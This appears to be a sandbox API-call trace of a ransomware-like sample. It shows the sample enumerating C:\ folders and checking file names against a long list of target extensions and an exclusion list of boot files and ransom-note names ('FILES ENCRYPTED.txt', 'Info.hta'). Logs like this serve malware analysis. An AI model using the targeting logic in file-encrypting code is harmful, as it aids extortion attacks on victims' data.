	[0036.885] lstrlenW (lpString=".asm") returned 4
	[0036.885] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".asmx") returned 5
	[0036.885] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0036.885] lstrlenW (lpString=".asp") returned 4
	[0036.885] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0036.885] lstrlenW (lpString=".aspx") returned 5
	[0036.885] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0036.886] lstrlenW (lpString=".asr") returned 4
	[0036.886] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".asx") returned 4
	[0036.886] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".avi") returned 4
	[0036.886] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".avs") returned 4
	[0036.886] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".backup") returned 7
	[0036.886] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0036.886] lstrlenW (lpString=".bak") returned 4
	[0036.886] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".bay") returned 4
	[0036.886] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".bd") returned 3
	[0036.886] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0036.886] lstrlenW (lpString=".bin") returned 4
	[0036.886] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".bmp") returned 4
	[0036.886] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".bz2") returned 4
	[0036.886] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".c") returned 2
	[0036.886] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0036.886] lstrlenW (lpString=".cdr") returned 4
	[0036.886] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".cer") returned 4
	[0036.886] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0036.886] lstrlenW (lpString=".cf") returned 3
	[0036.886] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0036.886] lstrlenW (lpString=".cfc") returned 4
	[0036.886] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".cfm") returned 4
	[0036.887] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".cfml") returned 5
	[0036.887] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0036.887] lstrlenW (lpString=".cfu") returned 4
	[0036.887] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".chm") returned 4
	[0036.887] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".cin") returned 4
	[0036.887] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".class") returned 6
	[0036.887] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0036.887] lstrlenW (lpString=".clx") returned 4
	[0036.887] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".config") returned 7
	[0036.887] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0036.887] lstrlenW (lpString=".cpp") returned 4
	[0036.887] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".cr2") returned 4
	[0036.887] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".crt") returned 4
	[0036.887] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".crw") returned 4
	[0036.887] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".cs") returned 3
	[0036.887] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0036.887] lstrlenW (lpString=".css") returned 4
	[0036.887] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0036.887] lstrlenW (lpString=".csv") returned 4
	[0036.887] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".cub") returned 4
	[0036.888] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dae") returned 4
	[0036.888] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dat") returned 4
	[0036.888] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".db") returned 3
	[0036.888] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0036.888] lstrlenW (lpString=".dbf") returned 4
	[0036.888] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dbx") returned 4
	[0036.888] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dc3") returned 4
	[0036.888] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dcm") returned 4
	[0036.888] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dcr") returned 4
	[0036.888] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".der") returned 4
	[0036.888] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dib") returned 4
	[0036.888] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dic") returned 4
	[0036.888] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".dif") returned 4
	[0036.888] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0036.888] lstrlenW (lpString=".divx") returned 5
	[0036.888] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".djvu") returned 5
	[0036.889] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".dng") returned 4
	[0036.889] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".doc") returned 4
	[0036.889] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".docm") returned 5
	[0036.889] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".docx") returned 5
	[0036.889] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".dot") returned 4
	[0036.889] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".dotm") returned 5
	[0036.889] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".dotx") returned 5
	[0036.889] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0036.889] lstrlenW (lpString=".dpx") returned 4
	[0036.889] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".dqy") returned 4
	[0036.889] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".dsn") returned 4
	[0036.889] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".dt") returned 3
	[0036.889] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0036.889] lstrlenW (lpString=".dtd") returned 4
	[0036.889] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0036.889] lstrlenW (lpString=".dwg") returned 4
	[0036.889] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".dwt") returned 4
	[0036.890] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".dx") returned 3
	[0036.890] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0036.890] lstrlenW (lpString=".dxf") returned 4
	[0036.890] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".edml") returned 5
	[0036.890] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0036.890] lstrlenW (lpString=".efd") returned 4
	[0036.890] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".elf") returned 4
	[0036.890] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".emf") returned 4
	[0036.890] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".emz") returned 4
	[0036.890] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".epf") returned 4
	[0036.890] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0036.890] lstrlenW (lpString=".eps") returned 4
	[0036.891] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".epsf") returned 5
	[0036.891] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0036.891] lstrlenW (lpString=".epsp") returned 5
	[0036.891] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0036.891] lstrlenW (lpString=".erf") returned 4
	[0036.891] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".exr") returned 4
	[0036.891] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".f4v") returned 4
	[0036.891] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".fido") returned 5
	[0036.891] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0036.891] lstrlenW (lpString=".flm") returned 4
	[0036.891] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".flv") returned 4
	[0036.891] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".frm") returned 4
	[0036.891] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".fxg") returned 4
	[0036.891] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".geo") returned 4
	[0036.891] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0036.891] lstrlenW (lpString=".gif") returned 4
	[0036.892] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".grs") returned 4
	[0036.892] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".gz") returned 3
	[0036.892] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0036.892] lstrlenW (lpString=".h") returned 2
	[0036.892] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0036.892] lstrlenW (lpString=".hdr") returned 4
	[0036.892] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".hpp") returned 4
	[0036.892] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".hta") returned 4
	[0036.892] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".htc") returned 4
	[0036.892] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".htm") returned 4
	[0036.892] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".html") returned 5
	[0036.892] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0036.892] lstrlenW (lpString=".icb") returned 4
	[0036.892] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".ics") returned 4
	[0036.892] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".iff") returned 4
	[0036.892] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0036.892] lstrlenW (lpString=".inc") returned 4
	[0036.892] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0036.893] lstrlenW (lpString=".indd") returned 5
	[0036.893] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0036.893] lstrlenW (lpString=".ini") returned 4
	[0036.893] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0036.893] lstrlenW (lpString="desktop.ini") returned 11
	[0036.893] lstrlenW (lpString=".Acuf2") returned 6
	[0036.893] lstrcmpiW (lpString1=".Acuf2", lpString2="op.ini") returned -1
	[0036.893] lstrlenW (lpString="desktop.ini") returned 11
	[0036.893] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0036.893] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0036.893] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0036.893] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
	[0036.893] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0036.893] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1
	[0036.893] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0036.893] lstrcmpiW (lpString1="swpesp.exe", lpString2="desktop.ini") returned 1
	[0036.893] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0036.893] FindNextFileW (in: hFindFile=0x3601ec8, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0036.893] FindClose (in: hFindFile=0x3601ec8 | out: hFindFile=0x3601ec8) returned 1
	[0036.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f1ec0 | out: hHeap=0x4f0000) returned 1
	[0036.893] FindNextFileW (in: hFindFile=0x35f0e78, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0036.893] FindClose (in: hFindFile=0x35f0e78 | out: hFindFile=0x35f0e78) returned 1
	[0036.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35e0e70 | out: hHeap=0x4f0000) returned 1
	[0036.893] FindNextFileW (in: hFindFile=0x54b3c0, lpFindFileData=0x2ebfd00 | out: lpFindFileData=0x2ebfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0036.894] lstrlenW (lpString="C:\\Boot") returned 7
	[0036.894] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1
	[0036.894] lstrlenW (lpString="Boot") returned 4
	[0036.894] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1
	[0036.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35e0e70
	[0036.894] lstrlenW (lpString="C:\\Boot") returned 7
	[0036.894] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5df8c8
	[0036.894] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.894] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0036.894] lstrlenW (lpString="BCD") returned 3
	[0036.894] lstrlenW (lpString=".1cd") returned 4
	[0036.894] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1
	[0036.894] lstrlenW (lpString=".3ds") returned 4
	[0036.894] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1
	[0036.894] lstrlenW (lpString=".3fr") returned 4
	[0036.894] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1
	[0036.894] lstrlenW (lpString=".3g2") returned 4
	[0036.895] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".3gp") returned 4
	[0036.895] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".7z") returned 3
	[0036.895] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0036.895] lstrlenW (lpString=".accda") returned 6
	[0036.895] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".accdb") returned 6
	[0036.895] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".accdc") returned 6
	[0036.895] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".accde") returned 6
	[0036.895] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".accdt") returned 6
	[0036.895] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".accdw") returned 6
	[0036.895] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".adb") returned 4
	[0036.895] lstrcmpiW (lpString1=".adb", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".adp") returned 4
	[0036.895] lstrcmpiW (lpString1=".adp", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".ai") returned 3
	[0036.895] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0036.895] lstrlenW (lpString=".ai3") returned 4
	[0036.895] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".ai4") returned 4
	[0036.895] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".ai5") returned 4
	[0036.895] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1
	[0036.895] lstrlenW (lpString=".ai6") returned 4
	[0036.895] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".ai7") returned 4
	[0036.896] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".ai8") returned 4
	[0036.896] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".anim") returned 5
	[0036.896] lstrcmpiW (lpString1=".anim", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".arw") returned 4
	[0036.896] lstrcmpiW (lpString1=".arw", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".as") returned 3
	[0036.896] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0036.896] lstrlenW (lpString=".asa") returned 4
	[0036.896] lstrcmpiW (lpString1=".asa", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asc") returned 4
	[0036.896] lstrcmpiW (lpString1=".asc", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".ascx") returned 5
	[0036.896] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asm") returned 4
	[0036.896] lstrcmpiW (lpString1=".asm", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asmx") returned 5
	[0036.896] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asp") returned 4
	[0036.896] lstrcmpiW (lpString1=".asp", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".aspx") returned 5
	[0036.896] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asr") returned 4
	[0036.896] lstrcmpiW (lpString1=".asr", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".asx") returned 4
	[0036.896] lstrcmpiW (lpString1=".asx", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".avi") returned 4
	[0036.896] lstrcmpiW (lpString1=".avi", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".avs") returned 4
	[0036.896] lstrcmpiW (lpString1=".avs", lpString2="") returned 1
	[0036.896] lstrlenW (lpString=".backup") returned 7
	[0036.897] lstrcmpiW (lpString1=".backup", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".bak") returned 4
	[0036.897] lstrcmpiW (lpString1=".bak", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".bay") returned 4
	[0036.897] lstrcmpiW (lpString1=".bay", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".bd") returned 3
	[0036.897] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0036.897] lstrlenW (lpString=".bin") returned 4
	[0036.897] lstrcmpiW (lpString1=".bin", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".bmp") returned 4
	[0036.897] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".bz2") returned 4
	[0036.897] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".c") returned 2
	[0036.897] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0036.897] lstrlenW (lpString=".cdr") returned 4
	[0036.897] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cer") returned 4
	[0036.897] lstrcmpiW (lpString1=".cer", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cf") returned 3
	[0036.897] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0036.897] lstrlenW (lpString=".cfc") returned 4
	[0036.897] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cfm") returned 4
	[0036.897] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cfml") returned 5
	[0036.897] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cfu") returned 4
	[0036.897] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".chm") returned 4
	[0036.897] lstrcmpiW (lpString1=".chm", lpString2="") returned 1
	[0036.897] lstrlenW (lpString=".cin") returned 4
	[0036.898] lstrcmpiW (lpString1=".cin", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".class") returned 6
	[0036.898] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".clx") returned 4
	[0036.898] lstrcmpiW (lpString1=".clx", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".config") returned 7
	[0036.898] lstrcmpiW (lpString1=".config", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".cpp") returned 4
	[0036.898] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".cr2") returned 4
	[0036.898] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".crt") returned 4
	[0036.898] lstrcmpiW (lpString1=".crt", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".crw") returned 4
	[0036.898] lstrcmpiW (lpString1=".crw", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".cs") returned 3
	[0036.898] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0036.898] lstrlenW (lpString=".css") returned 4
	[0036.898] lstrcmpiW (lpString1=".css", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".csv") returned 4
	[0036.898] lstrcmpiW (lpString1=".csv", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".cub") returned 4
	[0036.898] lstrcmpiW (lpString1=".cub", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".dae") returned 4
	[0036.898] lstrcmpiW (lpString1=".dae", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".dat") returned 4
	[0036.898] lstrcmpiW (lpString1=".dat", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".db") returned 3
	[0036.898] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0036.898] lstrlenW (lpString=".dbf") returned 4
	[0036.898] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1
	[0036.898] lstrlenW (lpString=".dbx") returned 4
	[0036.898] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dc3") returned 4
	[0036.899] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dcm") returned 4
	[0036.899] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dcr") returned 4
	[0036.899] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".der") returned 4
	[0036.899] lstrcmpiW (lpString1=".der", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dib") returned 4
	[0036.899] lstrcmpiW (lpString1=".dib", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dic") returned 4
	[0036.899] lstrcmpiW (lpString1=".dic", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dif") returned 4
	[0036.899] lstrcmpiW (lpString1=".dif", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".divx") returned 5
	[0036.899] lstrcmpiW (lpString1=".divx", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".djvu") returned 5
	[0036.899] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dng") returned 4
	[0036.899] lstrcmpiW (lpString1=".dng", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".doc") returned 4
	[0036.899] lstrcmpiW (lpString1=".doc", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".docm") returned 5
	[0036.899] lstrcmpiW (lpString1=".docm", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".docx") returned 5
	[0036.899] lstrcmpiW (lpString1=".docx", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dot") returned 4
	[0036.899] lstrcmpiW (lpString1=".dot", lpString2="") returned 1
	[0036.899] lstrlenW (lpString=".dotm") returned 5
	[0036.899] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1
